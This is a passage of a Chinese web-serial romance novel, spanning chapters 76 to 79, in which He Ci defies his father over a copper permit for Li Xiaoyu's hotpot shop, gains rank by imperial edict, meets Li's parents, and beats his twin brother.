“你别问……”黎小鱼总觉得这么一问,很不好意思,脸上染了一层红意,用手拉了一下贺辞的衣襟。
贺辞顺着黎小鱼的力道往下,亲到了他最爱的小鱼。
嗯,开心!满足!
批铜用量的事情,黎小鱼最终没有拒绝。
倒不是他非要开火锅铺子不可,而是他感觉到贺辞很想和他的家里人说。
以此为契机,能够开口。
分别前,黎小鱼对贺辞认真道:“不管怎样,你不放弃我就不会放弃。你也不用太担心我,我家中现在也与两年前大不一样,有自保的能力。贺辞,你要保护好自己不要再受伤了。”
被人在意着,关心着,贺辞觉得心里涨涨的。是满足欣喜,也是感激不舍。
他抱紧黎小鱼,“真不想走。”
话是这么说,在抱着吸一会鱼后,贺辞还是走了。
他觉得自己似乎真的有点太粘人了,要是小鱼腻了就不好,他得克制些。
贺辞离开侯府后,就再没主动出现在定安侯面前。
这次突然来找,定安侯一挑眉。
哼,小兔崽子肯定是来低头的。夫人说的对,一家人哪有隔夜仇。
“叫人进来。”
贺辞穿着常服,手腕束着护腕,看似平常实则藏着袖箭。
定安侯视线落在贺辞手腕,冷哼一声,“见老子还带着武器,你还想弑父不成?”
“没有,只是习惯了。”
贺辞将手背在身后,没有要取下的意思。
“爹,我要一批铜的使用权,量不算多。”
贺辞报了百个铜炉火锅要用的铜量,比起军用确实不多,要是民用的话,又完全超标了。
按理说这样的用量,可以直接批。
但定安侯总觉得有鬼,没直接同意而是警惕的问了一句,“你要这些做什么?”
贺辞就等着他问呢,没有犹豫停顿,直接道:“小鱼弄铺子的话,要用到这些铜。”
提及黎小鱼定安侯眼皮一跳,觉得大事不妙。他的视线带着审视,“他找你来要?”
“不,是我执意给他。”贺辞道。
定安侯眉头一皱,“你什么时候又和他这般牵扯上了?”
“回来后,我目前在纠缠他。”贺辞说的认真,没有半点玩笑的意味,“因为太喜欢他了,所以在用尽办法讨好他。”
“荒唐!”定安侯一拍桌面,茶盏都在抖动,他指着贺辞怒斥,“你身为贺家长子,爵位继承人,你说的这是什么话!”
贺辞背脊挺直,几乎是脱口而出,不知道他在心中反复的说过多少次,“长子的身份我没办法更改,但我会自愿放弃承袭爵位。”
定安侯还以为自己听错了,意识到确实是贺辞说出口的话,且贺辞还一副没什么好在意的表情,让他怒极反笑,“你以为这爵位是你想要就要,想放弃就放弃的?”
贺辞道:“回辞州的路上,我已经写了密折启奏陛下。想要以军功换人……”
“你要以军功换黎小鱼?你疯了?他给你灌了什么迷魂汤,让你连爵位,军功统统都不在乎?”定安侯难以置信,只觉得贺辞脑子坏了。
被打断的话贺辞没有继续再说,就当是送给他爹娘的一个惊喜吧。
“不是他给我灌迷魂汤,是我逼他和我好。”
听了贺辞的反驳,定安侯气的说不出话来。他就连说黎小鱼一句都不行了?
“铜量我是不会批的。”定安侯企图拿捏贺辞。
但他却忘了一件事。
“爹,我现在是正五品上的将军,有权直接批这些用铜量。”
在贺辞动身去外族的时候,他已经从无名小兵有了军衔品级。
定安侯一愣,好像是的,随后他怒道:“小兔崽子专门来恶心你老子来了!”
贺辞没吭声,气的定安侯抓起茶盏就朝着他头上砸。
早有防备的贺辞直接躲开,他的动作更是激怒了定安侯。
“你还敢躲!”
贺辞点头,“嗯,我不能受伤。”
小鱼会心疼的。
定安侯盛怒之下摸了个熟悉的东西,贺辞神色一变,等定安侯反应过来时,长剑已出鞘。
他被贺辞冰冷的目光注视,心里没来由的慌了一瞬,片刻后带着些许慌张无措把剑收回剑鞘。
真是昏了头,怎么能拔剑呢!
意识到自己的不该,却又不想就这么对小辈低头。他只能硬着头皮坐下,贺辞也暗暗收力,没有解开护腕露出袖箭。
“把那黎小鱼忘了,安稳的成亲。今日这些话,老子当你没说过。贺家的一切,也迟早都是你的。”
这是定安侯的妥协。
不过贺辞不要。
“爹,我说过我只要黎小鱼。”
刚平复下去的情绪又被激怒,定安侯气笑了,“老子动不了你,还动不了黎小鱼了?”
这样的威胁没有让贺辞有半分的退让,他冷静的给他爹分析此举的可行性。
“小鱼生意铺的大,养活不少百姓。爹要动他,怕是要先过百姓那一关。”
“或许这一关是最好过的,但爹是不是忘了黎家的其他人?辞州黎家大伯治的好,定州黎家三郎管的好。听说黎二郎得了丞相赏识,而丞相又是陛下心腹。爹,你不会看不清楚,黎家大房三人当官,要么是纯臣,要么是陛下要培养的忠臣吧?”
两年前的时候对黎小鱼动手还能行,经过这两年黎家的发展,对他动手?还是算了吧。
定安侯也是一时气话,就想逼着贺辞低头认输。
谁曾想被这么一噎。
他是挺看好黎九章的,自从他来之后,辞州的乌烟瘴气都少了许多。
尤其是这两年,江渚松因为忌惮一直被压着,跳也跳不高。
黎九章大刀阔斧,砍了一堆苛捐杂税,百姓手里能有钱,就连冬天冻死的人都少了大半。加上黎小鱼在里面也起了一些作用,给不少人提供了赚钱的机会。
因此黎九章这个二把手,在辞州是民心所向,威望极高。
同样的,他对黎小鱼也有赏识。小小年纪就有那样的身家,他要不是贺辞的爹,不可能会讨厌一个给他封地赚钱的聪明人。
现在他儿子像是被迷了心窍,怎么说也不听,甚至还要放弃爵位。
他知道不能都怪黎小鱼,可他更不能怪他自己没把孩子教好。
定安侯沉声道:“你要是执意要黎小鱼,今后老子就当没你这个儿子。袭爵更是想都别想。”
说什么不要爵位,不过是小孩子的气话罢了。定安侯胸有成竹,没人可以真的拒绝权利。
谁知贺辞只淡淡的说了一声,“知道了,侯爷。”
这是默认了那句“没这个儿子”,所以连爹也不叫了。
等人走后,定安侯都不敢相信贺辞真的离开了营帐,还喊他侯爷。
傍晚,黎小鱼准备再做点火锅底料存着。
香料都备好,正要烧锅下大块牛油,就见贺辞蔫哒哒的过来。
他凑近黎小鱼就委屈道:“小鱼,我爹说不要我了。”
黎小鱼没来得及看贺辞的脸,就被抱住,脖颈间痒痒的是贺辞在蹭他。
黎小鱼只能安抚他,“发生什么事了?”
“他生我气,说不认我这个儿子了。”贺辞借机要安慰,“我现在就只有你了,让我抱抱吧。”
黎小鱼哭笑不得,“你已经抱了啊。”
贺辞舒服的嗯了一声,他很喜欢拥抱黎小鱼。喜欢他身上的味道,喜欢埋在他的颈间,这会让他感觉到有安全感和满足感。
……
黎小鱼以为定安侯生气的要断绝关系,肯定会阻拦贺辞给他批铜用量。
没想到贺辞还是给他拉了一堆过来,并且情绪正常,没见受什么委屈。
所以定安侯是默认了?
黎小鱼想不通,只有定安侯知道自己的想法。
铜一直堆在那也不是个事,干脆就开始盘铺子,又将贺辞送来的那些铜全都给铁匠铺子送去。
他之前打的铜炉火锅,都是画了图纸让铁匠铺子帮忙打的。
接到这么大一单生意,王铁匠也高兴的很,带着徒弟们就忙活起来。
黎小鱼要开新铺子的消息很快散了出去,吸引了许多的关注目光,都在想他要卖什么。
尤其是各大酒楼饭馆,盯的厉害。想着要是可以的话,跟着黎小鱼开个差不多的。
现在辞州就有不少麻辣烫铺子,黎小鱼没有将生意垄断,只不过后面又开了几家分店。
黎家的麻辣烫铺子味道依旧是最好,很多人想吃正宗的,哪怕排长队都去黎家的铺子去吃。
不过其他的麻辣烫铺子生意也还好,总归是赚的,就是赚多赚少的区别。
餐饮人盯着新铺子想看能不能跟着开,食客们则是期待着吃上新的美食。
火锅铺子开业的时候,已经是两个月后。
春暖花开,也算是吃火锅的好时节。
铺子开业当天,直接就爆满。
黎小鱼铺子的口碑早打了出去,他的铺子吃食就没有不好吃的。
火锅汤底有四种,咸香骨汤的,牛油香辣的,西红柿的,还有一道鲜香菌菇的。
菌菇会随着季节变化而有所调整,不同时节出的菌子不一样,只能吃应季的。
西红柿也是一样,只有在西红柿成熟的时候才有,算是限定锅底。
汤底加热后香气扑鼻,闻着就很有食欲。就是刚开始的时候,食客们对此吃法感到新奇的同时也觉得麻烦。
这全都不是煮好的,竟然是要自己动手煮菜吃,蘸料也要自己去弄。
而对此颇有微词的食客们,等菜上齐开始吃的时候就不这样想了。
肉片切的薄,熟的快,也没有想象的那么慢。想吃什么就夹什么放锅里涮,完全随着自己心意。和同行的人一边涮肉一边聊天,熟了之后蘸着完全是自己喜欢口味的蘸料,只觉得好吃又有趣的很。
那些一直观望,要照着黎小鱼新铺子开的餐饮人们,在看到铜炉火锅时也惊呆了。
哪来这么多的铜?他们弄不来啊!这让他们怎么照着开啊?
第77章 第 77 章
黎小鱼的火锅铺子深受广大食客们的喜爱, 短短时间就在辞州传了个遍。
如今辞州的中上层人士们,都将能来火锅铺子吃火锅当做话题谈资。
贺辞本来还想着说带同僚和手下将士来吃,结果一直没能定的上位置。
他自己想吃倒是可以吃到黎小鱼亲手做的火锅, 每每听到一些达官显贵抱怨约不上号, 又或是约到的时间还要等好久, 他心中就有隐秘的高兴。
哎呀, 小鱼对我真好!我想什么时候吃就什么时候吃。
五月恶月, 暑气来临。
虫蛇蚊蚁开始出来祸祸,往后的几个月里, 是它们的天下。
夏季本就烦闷燥热, 人的心情容易被激怒。开铺子的店里,用冰不敢苛刻, 就怕做生意的时候因为燥热坏了心情, 再把生意做坏了。
好在辞州冬日长地方大。
因此有不少的冰库, 冬日取冰存冰,因为量大即便是炎热夏季, 售价也没有太高。
不过能入口的冰就贵了, 一桶就要五百文, 那冰也好,对水质要求严格。只用来降温的那些冰,里面还能见到泥水,或是些别的东西, 总归是不能吃,吃了要闹肚子。
侯府这样的权贵人家, 主人屋里降温的冰块, 那都是一桶五百文的好冰。
二十文厚重的一大块,敲开能顶一天用的那种冰, 因过于低廉是不能出现在主人院子里的。
丫鬟对着冰盆在扇扇子,风不能太急也不能太慢。好几个轮流扇,不能叫凉风停下。
屋内的温度凉爽,隔绝暑气,林晚秋斜躺在美人榻上,悠哉的看书。
秦嬷嬷从外面进来,一脸的喜色藏不住。
林晚秋瞥一眼,又将视线放回书上,随口一问,“什么喜事能叫你这般高兴?”
“回来了,二公子回来了!”秦嬷嬷激动道。
吧嗒一声书落在地面,林晚秋急切的坐起来,一瞬间脑袋还有些懵,很快反应过来拉着秦嬷嬷问,“你没骗我?州州回来了?在哪?”
说着林晚秋要往外走,鞋都没穿好,险些崴了脚。
秦嬷嬷把人稳稳的扶住,赶紧对林晚秋道:“夫人别急,得穿好出去。京城那边来人宣旨,要去听旨。二公子他是跟着一起来的。”
林晚秋听说还有圣旨,心突然猛跳一下,总觉得不对劲。
当初送州州走,就知道他这辈子不可能回来了。
除非贺家的爵位没了,又或者是贺家在辞州的军权没了。
不然京城那边不可能会放任贺家手握军权,盘踞一方。
林晚秋很快镇定心神,对儿子归来的喜悦瞬间被压下,眉心紧缩。
莫不是皇帝准备削弱贺家军权?
在秦嬷嬷的伺候下,林晚秋很快从穿戴整齐,步履匆匆的前往正厅听旨。
远远的,她看见一偏瘦身影背对着她。个子很高,一袭白衣锦袍,腰间缠着蹀躞带,上面缀着一些精巧的小玩意做装饰。
那是她的州州。
林晚秋压下的情绪再次喷涌,眼含热泪。
“州州!娘的乖孩子!”
林晚秋控制不住的喊了一声,在贺州闻声转身之际,再次加快步伐几乎是失态一般的小跑过去。
贺州偏瘦,皮肤很白,看起来是会有病弱之态。但他唇色红粉,眉清目朗,十分俊美。
这张脸与贺辞如出一辙,但放在贺辞身上,却充满了攻击性。
而贺州一袭白衣衬的他玉树临风,那分病弱被俊美的容颜削减的几近全无,反而叫他看起来人畜无害,更惹人心生爱怜。
贺州勾唇一笑,站在原地没动,只等林晚秋靠近时才拉着林晚秋的手,眉间轻轻皱着,眼中蓄着泪水,满是思念。
“孩儿好想念娘亲。”
不同于贺辞低沉磁性的声音,贺州的声音更清润一些,就像他这个人一样,毫无攻击性。
林晚秋听不得这样的话,眼泪往外涌,贺州拉着她坐下安抚了好一会才停。
她红着眼眶对来宣旨的内侍致歉,“让公公久等了。”
内侍微微一笑,“不妨事,正好也要等侯爷与贺将军前来才可宣旨。”
林晚秋嘴角僵了一下,贺将军?以往宣旨叫的都是小侯爷……
她总有种不对劲的感觉,但又说不出到底哪里不对劲。
等了一个多时辰,贺辞和定安侯收到消息,从军营赶了回来。
定安侯来的时候就知道贺州回来了,见到人心里也高兴,难得的上前抱了一下许久未见的儿子。
他扭头笑着对贺辞说:“快来见见你弟弟。”
贺辞冷着脸没动,“他和我长一样,我想见对着镜子照就行。”
贺州唇角一直挂着笑,眼看着定安侯因这话又要动怒,他才善解人意的出声道:“爹没事的,我习惯了。爹的身体最重要,经常动怒不好,不要为儿子伤了身体。”
人都是怕对比,尤其是一个明显不听话不服管教的,另一个不仅听话乖巧还知道心疼当爹的。
定安侯揉着眉心,真不知道双生子的性格怎么能差这么多。
不好叫内侍久等,他只能将家事先放在一边,带着家人跪地听旨。
圣旨一共有两道,在听完第一道圣旨的时候,定安侯与林晚秋就被震惊的说不出话来。
皇帝的圣旨被润色过,话说的文雅且给面子。但本质上的意思,都是一样叫人难以接受。
陛下要给贺州赐婚,于来年春季,迎娶十五公主。
因他无官职无爵位身份太低,实在配不上公主,所以定安侯的爵位由贺州继承。
至于长幼有序,皇帝说了,贺家的双生子贺州才是先出生的那个,而非贺辞。
皇帝金口玉言,他说天是红色的,那天就是红色的。
既然开口说贺州才是先出生的那个,那爵位自然由他承袭。
驸马,是注定不能手握实权的。贺州娶公主做驸马,承袭爵位后就只能是闲散侯爷。
第二道圣旨,则是晋升贺辞。因他军功显赫,从正五品上,连跳几级直接就是正二品的大将。
按理说贺辞入外族离间,军功是大,但撑死了三品大将。
二品的将军,实权已经要与定安侯持平。
定安侯听完圣旨,艰难的吞咽。
皇帝将爵位与军权给不同的两个人,是在分化贺家的权利。
虽说爵位和军权依旧在贺家,甚至贺辞的军权得的比预想中的要高很多。可就算是亲兄弟,也不可能一条心,贺家的权利就是被无形的削弱了。
林晚秋因为知道贺州与贺辞之间的矛盾,更是背脊发凉。
不得不说,帝王终究是帝王。
州州在京日子过的难堪,放他回来无异于放虎归山。但给他地位却不给兵,而是将军权给了与州州不对付的刺刺。
这样一来,州州再怎么折腾,也只会被刺刺压住。
甚至是,皇帝还想让父子互相制衡。
不然无法解释为什么给刺刺那样高的军权。
但为什么皇帝会如此相信刺刺呢?
林晚秋想不通这一点,不过直觉告诉她,这一切都与贺辞有关。
内侍宣读完圣旨,林晚秋强撑着精神给了银钱致谢,又叫人送内侍先去安顿休息,明日再启程回京。
贺辞拿着他的那份圣旨准备离开,被林晚秋叫住。
“刺刺,你是不是和陛下说了什么?”
贺辞知道他娘会问,也没有隐瞒,如实相告。
“嗯,和陛下说了喜欢一个人,这辈子非他不要。哪怕他成亲生子,我也会终生不娶无妻无子。但贺家香火不能断,所以就说想以军功换贺州回来。”
他握着圣旨笑了一声,“只是没想到陛下这么好,不仅放贺州回来,还给我升官。”
定安侯和林晚秋听完后气的发抖,贺辞怎么可能会不知道今日的局面。
皇帝最爱面子,他怎么可能真的只是把贺州送回来!
林晚秋终于明白为什么皇帝那样信任贺辞了,因为贺辞他表了忠心,此生不会有子嗣!甚至连妻都不会娶,只要一个男人!
再多的权利握在手里,没有子嗣继承,不会替子嗣考虑,终究还是会回归皇权。
林晚秋是又气又难受,“刺刺,你知不知道你这样和陛下说,若是以后黎小鱼不要你了,你再想找人陪伴,不管男女那都是欺君大罪!”
贺辞闻言把圣旨握的更紧,没有半点的恐慌反而开心,“是吗?那真是太好了。”
这样的话,小鱼就一定会相信他不会离开他。
定安侯夫妻二人看着贺辞脸上的笑,只觉得他疯了。
后背被轻抚,夫妻二人转头一看,是二儿子在安慰他们,正温和的对他们笑。
还好州州回来了。
贺辞爱怎样怎样吧,他们是真的管不了了。
从侯府出来,贺辞脸上的笑消失了。
他没有骑马,一路走着。
现在他彻底自由了,可以只做贺辞,而不是贺州的替身。
也不用被爹娘拿着和贺州对比,不用再承受贺州对他的咒骂,更不用忍着恶心被爹娘逼着对贺州好。
只是他真的没家了。
“贺辞。”
黎小鱼听说了贺州回来,是他大伯父专门派人来告知。
他知道贺州对贺辞的影响,害怕贺辞受伤,想着去侯府一趟,贺辞不开心的话他可以抱抱他。
没想到半路上就看到了人,失神的走着。要不是天热他的车帘子一直开着,怕是会擦肩而过。
听到了熟悉的声音,贺辞终于回神。
他被黎小鱼拉上马车,落入温暖的怀抱。
黎小鱼不清楚侯府发生了什么,但他知道他的贺辞不高兴,很难过。
黎小鱼摸着贺辞的头发,亲亲他的额角,“贺辞,不管发生什么,我都会陪着你。”
贺辞把人紧紧抱住,喉间发出沉闷压抑的声音。
他还有小鱼。
黎小鱼听着压抑的哭声,他心里也难过。默默的跟着贺辞一起哭,最后两人给彼此擦眼泪,眼睛都红的像兔子。
发泄了积压许久的情绪后,贺辞心情舒畅许多。
不等黎小鱼问,就把侯府发生的一切说了。
同时也说了他给皇帝写的密折内容。
黎小鱼听到贺辞直接和皇帝说了他的情感与决心时,心中震荡不已。
就像林晚秋所说,一句“非他不要”,足够让贺辞一辈子只能有黎小鱼一个人。
贺辞看黎小鱼发愣,把人捞过来,面对着坐他腿上。
双手揽住黎小鱼的腰,将头埋在他的颈间,“我说过,我属于你。”
黎小鱼本来自以为是一句情话,没想到是真的属于他。
“小鱼,现在你可以信任我的感情吗?”贺辞轻声的问着。
颈间的热气让黎小鱼觉得有些痒,他忍住没躲,沉默片刻后说:“贺辞,你要和我见我爹娘吗?”
贺辞一激灵,名分!他要的名分终于要来了!
“要!”
贺辞又在黎小鱼颈间蹭蹭蹭,高兴道:“现在就去。”
黎小鱼被蹭的发痒,抬手轻轻按住贺辞,“好。”
马车直接到了黎家小院,黎小鱼赚了不少银子,但他家一直没有搬。
因为黎九州夫妻二人住习惯了,和邻里关系又好,都不是耽于享乐的人,也不想住那大的见不到人的大宅子。
黎小鱼听他爹娘的意思,一家子在这院子里就一直住着,反正也不挤,反而有家的感觉。
带贺辞回来的时候是下午,黎九州夫妻二人带着小猫儿出去了看铺子,都不在家。
知道贺辞没吃饭,黎小鱼给他做了几道爱吃的菜。
贺辞全给吃光了,再次撑的难受。
黎小鱼只能带着他在院子里来回溜达消食,让他以后吃不完不要强吃,可以下一顿热热继续吃。
贺辞笑着点头,“知道了。”
小猫儿手里抱着一个竹筒,外面凝聚一层的水珠,是甜品铺子里的冰奶茶。
他走的快,看院子的门锁被取下,转头对黎九州夫妻二人道:“爹爹,娘亲,哥哥好像回来了。”
黎九州有些奇怪,这个点小鱼一般都在外面啊。
他也没有多想,只让小猫儿敲门。
很快门从里面被打开,小猫儿抱着竹筒奶茶,仰着头正要高兴叫哥哥,然后就见一个高大的陌生男子,长的凶巴巴的在“瞪”他。
小猫儿给吓得一哆嗦,哒哒哒的就往爹娘身边跑。
唔,害怕。
贺辞本就气势强,他看小猫儿的时候,又是直接眼睛往下看,都没怎么低头,角度原因看着更凶了。
小孩子被吓到,黎九州夫妻二人也是一愣。
贺辞个头太高,很有压迫感。加上许久未见,一下子想不起来是谁,夫妻二人还以为家里来盗匪了。
还好黎小鱼的声音很快传来。
“贺辞你别堵着门,快让我爹他们进来啊。”
贺辞紧张的都不会动,木着一张脸,听从黎小鱼的指挥挪开位置让人进去。
等人都进来后,贺辞关上门。
他力气大,没收住,啪的一声响,给院子里本就有些心里发毛的三人吓了一激灵。
贺辞闭眼,握了握拳,他这该死的手劲!
第78章 第 78 章
黎小鱼悄悄的捏一下贺辞的指尖, 让他不要紧张。贺辞正准备反握回去,黎小鱼已经抽开和黎九州三人去了屋里。
“爹,娘, 弟弟, 那是贺辞, 你们之前见过。”
进屋的时候, 黎小鱼先给三人回忆了一下贺辞。
知道是定安侯之子, 黎九州哎呦了一声,忙问要怎样招待贵客。
这边还在想着招待, 贺辞那已经在心里盘算一堆。
伸头是一刀, 缩头也是一刀。贺辞不想钝刀子割肉,在做了几个深呼吸就, 他坚定的抬脚跟上。
黎九州正想说要不要一起吃火锅, 这火锅外面现在很时新, 不过难以约上。
招待客人的话,也不跌份。
然后他就听那人高马大的男娃娃, 对着他和他媳妇弯腰行礼, 嗓音低沉又认真的说:“黎叔叔, 周婶婶,我贺辞爱慕小鱼已久,请二位允许我与小鱼携手终身。”
黎小鱼傻眼了,他还准备酝酿一下, 没成想贺辞竟然打直球!
周珍娘啊了一声,呆愣愣回头, 又和黎九州对视一眼, 都在彼此的眼神中看出了惊诧与难以置信。
他们是幻听了吗?
这小侯爷啥意思啊?
“啥、终身?小侯爷你是女娃娃?”黎九州吓的有些结巴。
他上下打量了贺辞,身高腿长, 健壮俊朗,看着也不像女娃娃啊。
倒是那左耳上戴着的华丽耳饰,一般男娃不会戴。
等等,耳饰?!
黎九州唰的一下看向周珍娘,小声问道:“孩他娘,这小侯爷耳朵上有耳坠子!”
周珍娘也注意到了,虽然和她之前在儿子荷包里见到的那个不太一样,可总体的感觉差不多。
周珍娘捂着嘴,腿一软。
黎小鱼眼疾手快的把人扶住,一脸歉疚的看向他爹娘。
顺势也说了他要说的话,“爹娘,对不起。我,我以后没办法娶妻生子,让爹娘为我担忧了……”
黎九州夫妻二人艰难的消化着黎小鱼的话,说不生气是假的,可更多的是懵。
好好的儿子突然和你说喜欢男子,这怎么可能吗?
夫妻二人消化不了,难以接受。但再生气,再懵,也没有把坏情绪发泄在孩子身上。
从小到大都乖巧懂事的孩子,突然和他们唱反调。不要娶妻生子,要喜欢男子。他们是不敢相信,不愿接受这个事实,不过也没有觉得孩子错了。
第一反应是想着,小鱼是真的喜欢小侯爷,不然也不会和他们说开。
虽然高兴孩子对他们没有隐瞒,可他们依旧需要消化的时间。
尤其是小侯爷位高权重的,他们家真的能拧得过吗?更重要的是,这小侯爷好大一坨啊,他家小鱼不会挨欺负吧?
黎九州和周珍娘下意识的把黎小鱼往身后护,小猫儿听的似懂非懂,视线来回切换,觉得气氛不对劲。
本来还想招待呢,知道贺辞的目的后,黎九州也不招待了。
把妻儿全都送上马车,一家子撇下贺辞去了黎府。
他需要找懂得多的大哥。
这事超出了他能处理的范围。
不过黎九州也压着火气和贺辞说了一声,今日无法招待,请他自行离去。
黎小鱼临走的时候安抚了贺辞,让他先回自己的小院子等他消息。
贺辞抓着黎小鱼的手确认,“你还会来找我的对吗?”
“会。”黎小鱼肯定道。
“好,我等你来。”
贺辞心中不安,面上不显,对着黎小鱼微微一笑。
黎府,黎九章并不在府上。
他最近在搜罗江渚松的罪证,已经有了很大的进展。
许是看他黎家有起来的趋势,且辞州这两年确实比以前好多了,当年周多一案中给周家人留了话柄的人在悄悄的和黎九章接触。
给黎九章提供不少的信息,光是联同盐商贩卖私盐一事就足以让江渚松下大狱。
更别提还有一系列的买凶杀人,贪赃枉法,不过证据还不够。
江渚松也有察觉,这两年来他一直缩起来,也不是什么都没做。
就怕事情败露,所以也在清理尾巴,想断尾求生。
因为清扫后路的缘故,他也无心再与黎九章斗。
黎九章现在手里的证据虽有,但并不算铁证。江渚松要是一口咬定否认,也没办法真扣他头上。
时间拖的越久,江渚松销毁罪证越完全彻底。怕是后面真就清清白白一个好官了,黎九章为了赶时间追查,已经很久没有回府。
今天府衙收到一封密信,说江渚松养私兵造兵器,黎九章正要想办法查探一下消息真伪,府上管家就一脸急色的过来。
说家里出事了。
问了之后知道事关他侄子,还说弟弟一家都在。黎九章想了一下,八成是这孩子和他弟说了与贺辞的事情。
要是别的大事,他弟自己直接就来了,哪里还会让管家来叫人。
吩咐了手下人去查密信里给的地址,黎九章收拾一下就直接回家。
见到大哥,黎九州像是有了主心骨。
“大哥你总算回来了。”
黎九章让黎九州坐下,看向黎小鱼,“和你爹娘说了?”
“嗯。”
黎九州惊讶道:“大哥你知道啊?”
“前两年就有所察觉,所以那时候催你们给小鱼相看。”黎九章有些疲惫的揉着眉心,“那时候相看的话,今年小鱼的孩子怕是都能跑能跳了,现在一切都晚了。”
黎九州夫妻二人面面相觑,怎么就晚了啊?小鱼真的要和男人过日子?
“这和男人怎么过日子?都不能生娃娃。”黎九州有些急切,想劝黎小鱼打消念头,“有娃娃你老了才有人养,爹娘才能安心啊小鱼。”
周珍娘一向不怎么说话,这会也开口道:“是啊小鱼,就算不说娃娃的事,那贺家那么高的地位,要是那男娃娃后面不要你了可怎么办?”
黎小鱼见他大伯父和大伯母没有出口阻止的意思,心下微微松口气,专心应对他爹娘。
“我足够有钱,不怕老了没人养。再说我不是还有弟弟,有猫儿在还能叫伺候的人欺负了我去?”
小猫儿听到哥哥提他,也不清楚说的啥,就直接拍着胸脯保证,以后绝对不会让人欺负他哥哥。
黎九州夫妻二人脸色稍缓,搂着小猫儿说他是好孩子。
但就是不应黎小鱼的话。
黎小鱼只能继续,将贺辞和皇帝说的那些给他爹娘也说了。
“爹娘,他在陛下面前过了明路。他只能有我一个,你们不用担心我会被抛弃。”
这话黎九章都听的一愣,贺辞竟然做到了这种程度。
他没怀疑话的真实性,没人敢拿皇帝编排谎言。
黎九州和周珍娘知道皇帝厉害,但又不太懂是不是黎小鱼说的这样,都看向黎九章。
见黎九章点头,二人才有些松动的迹象。
一阵沉默之后,黎九州问道:“小鱼,你真喜欢那男娃?”
黎小鱼点头,“是的爹。”
“你喜欢他哪啊?”黎九州还是有些不解。
黎小鱼想了一下,“刚开始遇见其实不喜欢他,后来发现他喜欢我的时候,我还有些逃避。但喜欢之后也说不出来喜欢哪里,只要是他,我就喜欢。”
“不过最开始心动我记得,是他不顾性命的跑来,替我挡下致命一箭。”
那一天,那一刻,黎小鱼的心跳其实很快。
黎家人又是一惊,咋还牵扯到生死了?
周珍娘担忧的问是怎么回事,当时没说黎小鱼也是不想家人担心。现在事情过了这么久,也可以说了。
黎小鱼大概讲了一下后,夫妻二人听着心里对贺辞多了感激。
不管怎样,儿子的命是人家救的。那样一个高位上的权贵,没有因此挟恩直接要儿子和他在一起,还一直帮瞒着,什么也没说。
这是真喜欢他们小鱼。
黎九州夫妻二人对贺辞的存在,此时不再排斥。
最终二人叹息一声,不想让孩子难过。
黎九州也看出来,他大哥对此已经默认了。看来这小侯爷人应该是真的不错,不然他大哥一定会想办法阻止的。
“爹娘这段时间想缓一缓,见不了那男娃娃,等后面再说。”
这就是暂且同意了。
黎小鱼拜谢父母,被周珍娘心疼的拉起来,“爹娘不求别的,只要你好好长大,平安幸福。”
黎小鱼眼眶一红,眼泪簌簌的掉。看到儿子哭,当爹娘的心里也难受,小猫儿趴到黎小鱼的膝盖上,伸手给他擦眼泪,“哥哥不难过,猫儿赚钱给哥哥买好吃的。”
因为情绪波动落的眼泪没办法说停就停,黎小鱼被小猫儿逗笑,眼泪依旧流个不停,模样看着很是怪异。
好不容易情绪平复了,黎小鱼记着要去找贺辞。
黎九州夫妻二人也没拦着,他们留下准备多问问大哥关于这男娃娃的事。
贺辞的院子,黎小鱼之前去过。
他记性很好,虽然过了这些年,记忆里路线也有些模糊,不过到了地方后又知道怎么走了。
敲了门扉,是白竹开门。
两年多未见,白竹也褪去青涩,变得成熟许多。见是黎小鱼,并无意外,恭敬的把人请进去。
贺辞正在用木片射树上的叶片玩,听到脚步声立即起身,“小鱼!”
黎小鱼仿佛看到一条大型犬朝他跑来,搂着他后把脑袋埋他颈间蹭来蹭去。
“贺辞你别蹭,我痒。”
黎小鱼抬手按贺辞的脑袋,他头发卷长,只高束起来,发丝摸着毛茸茸的。
贺辞听黎小鱼的话,依依不舍的松开,“你爹娘怎么说?”
黎小鱼笑道:“过段时间应该会叫你回去吃饭。”
“我一定好好表现。”贺辞肯定道。
对此黎小鱼没有抱太大希望,不过第一次见面也降低了期待感,后面再差也不会怎样了。
黎小鱼跟着贺辞进屋,喝了一口贺辞给他倒的茶水,“你弟弟回来了,你后面打算怎么办?”
“他怎么对我,我怎么对他。”贺辞摸着左耳的耳饰,“不过要先揍一顿出气再说。”
黎小鱼没阻止,“什么时候?要是时间晚的话,揍完去找我,给你做宵夜吃。”
贺辞摸耳饰的手一顿,伸手按住黎小鱼的后颈,将人往前一带,倾身向前亲吻黎小鱼的嘴角。
“小鱼,我可真是喜欢你,喜欢的要命。”
黎小鱼微微一笑,温柔的回应贺辞的亲吻。
说要揍贺州,贺辞动作很快。
他甚至没有偷摸的瞒着定安侯夫妇,趁着晚上直接带人去了侯府。
到的时候,一家三口在其乐融融的吃饭。
“你还知道回来!”
定安侯看到人,没好气的哼了一声。
贺辞上前,直接将一沓拆开的信给定安侯送去。
“侯爷看看。”
一旁的林晚秋看到信封上的字迹,瞳孔紧缩。她要阻拦,但慢了一步。
定安侯已经拆开了。
不过信抽到一半,他又停了下来。将其按下,沉着一张脸问道:“你来到底想干什么?”
第79章 第 79 章
贺辞见定安侯的反应, 没忍住笑了一声。
“原来侯爷也知道这事啊,看来知道的比夫人还要早。”
定安侯眉头紧锁,“你不用阴阳怪气的说话, 你弟弟是有不对, 可你这个当哥哥又有半点做哥哥的样子吗?州州五岁才送走, 他前面五年在你那吃过多少苦头?他恨你难道不应该?”
贺辞像是听了什么大笑话, 笑个不停。
“我让他吃苦头?他一天到晚病歪歪, 侯爷和夫人一颗心全在他身上。我想要一些你们的关心在意,在侯府像个猴子一样上蹿下跳, 却依旧比不上贺州一声咳嗽。”
“他打碎夫人珍爱的瓷器, 跑起来躲着,你们不问缘由上来就揍我, 非说是我。他用匕首割断了侯爷的弓, 我甚至都不在边上, 就因为他说是我逼他那样干,你们就信了。”
“你现在说这些做什么?”定安侯一拍桌面, “那么久远的事情谁能记得住?就算是冤枉了你, 若你小时候乖一些, 还能冤枉到你吗?”
贺辞轻轻的啊了一声,有种恍然大悟的感觉。
他揍贺州也没用的。
因为真正坏掉的是他的爹娘。
不过……
贺辞一个转身,抓起贺州的衣领把人提起来,按在地上狠狠的揍了下去。
“你要是再敢动黎小鱼, 我杀了你。”
贺州本就孱弱根本还不了手,他被打的鼻子嘴角全是血, 定安侯大步上前来拉, 贺辞反手就是一袖箭,射在定安侯的脚前。
“再靠近一步, 袖箭会射进贺州的脑袋里。”
贺辞神情冷漠,声音都裹着寒霜。
林晚秋听着贺州的惨叫,看着贺辞冷的不近人情的样子,崩溃的痛哭。
